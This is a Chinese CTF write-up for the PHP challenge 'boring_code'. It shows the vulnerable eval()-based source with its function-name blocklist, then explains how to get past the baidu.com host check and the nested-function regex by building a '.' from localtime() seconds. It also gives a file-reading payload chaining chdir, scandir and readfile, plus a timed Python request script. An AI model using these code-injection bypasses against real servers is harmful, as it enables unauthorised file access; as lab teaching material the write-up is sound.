[Web] boring_code - LanceaKing xp0int Posted on Sep 11 2019 ## /code/index.php ```php <?php function is_valid_url($url) { if (filter_var($url, FILTER_VALIDATE_URL)) { if (preg_match('/data:\/\//i', $url)) { return false; } return true; } return false; } if (isset($_POST['url'])){ $url = $_POST['url']; if (is_valid_url($url)) { $r = parse_url($url); if (preg_match('/baidu\.com$/', $r['host'])) { $code = file_get_contents($url); if (';' === preg_replace('/[a-z]+\((?R)?\)/', NULL, $code)) { if (preg_match('/et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log/i', $code)) { echo 'bye~'; } else { eval($code); } } } else { echo "error: host not allowed"; } } else { echo "error: invalid url"; } }else{ highlight_file(__FILE__); } ``` ## 绕过url检测 把payload上传百度云,然后按f12点文件按流量,就能找到一个类似的url: `https://pcsdata.baidu.com/file/c563cff04ddd...` ## r-cursive改版 `/[a-z]+\((?R)?\)/`这个正则限制了只能执行至多一个参数的函数,如`echo(phpversion());`。 `/et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log/i`又限制了一堆函数,包括getallheaders(),所以不能像之前那样传参。 可以用这个脚本找出可用的函数: ```php <?php $fp = fopen('allow_functions.txt', 'wb'); foreach (get_defined_functions()['internal'] as $code) { $check1 = preg_match('/et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log/i', $code); $check2 = preg_match('/[^a-z]/', $code); if (!$check1 && !$check2) { fwrite($fp, $code.PHP_EOL); } } fclose($fp); ``` 因为flag在上层目录的index.php里,所以我的想法是造出一个`.`,`scandir('.')`,得到`..`,`chdir('..')`,`scandir('.')`,`readfile('index.php')`。 ## 造第一个点 `.`的ascii码是46,chr(46)是一个好办法,但用三角函数构造46实在是太困难。 疯狂查函数文档,发现了`localtime()`可以把时间按数组返回: ![title](https://leanote.com/api/file/getImage?fileId=5d750ffdab644162bb00738c) 数组第一个值是秒数,当达到46秒时,`pos(localtime())`返回46,`chr(pos(localtime()))`返回`.`,`chdir(next(scandir(chr(pos(localtime())))))`就能chdir到父目录。 ## 造第二个点 localtime()其实可以传一个时间戳参数: ![title](https://leanote.com/api/file/getImage?fileId=5d751138ab644160a9007324) chdir成功后会返回一个true,如果直接`localtime(chdir(...`的话秒数直接为1,46就没了: ![title](https://leanote.com/api/file/getImage?fileId=5d751251ab644162bb0073fb) 所以要找一个函数能返回一个时间戳,且秒数不变。 找到了mktime ![title](https://leanote.com/api/file/getImage?fileId=5d7512ceab644162bb007412) 第一个参数是天数,返回的时间戳秒数不会变: ![title](https://leanote.com/api/file/getImage?fileId=5d751345ab644162bb00742c) 第二个点:`chr(pos(localtime(mktime(chdir(...` ## payload ``` readfile(end(scandir(chr(pos(localtime(mktime(chdir(next(scandir(chr(pos(localtime())))))))))))); ``` 定时请求脚本: ``` import requests import datetime payload_url = 'https://pcsdata.baidu.com/file/c563cff04ddd...' url = 'http://112.125.25.2:9999/code/' while True: t = datetime.datetime.now().second print(t, end='\r') if t == 46: print() break r = requests.post(url, data={'url': payload_url}) # print(r.text) with open('out.html', 'wb') as f: f.write(r.content) ``` ## /index.php ```php <?php // $flag = 'flag{8866b40fea76845e5cbc84ad5ea9920e}'; ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta http-equiv="X-UA-Compatible" content="ie=edge"> <title>boring_code</title> </head> <body> <img src="https://i.loli.net/2019/09/05/XGSoguBVrQs83FU.jpg" /> <!-- flag in this file and code in /code --> </body> </html> ``` 打赏还是打残,这是个问题 赏 Wechat Pay Alipay [PWN] childjs - xfiles [PWN] mulnote - xfiles
没有帐号? 立即注册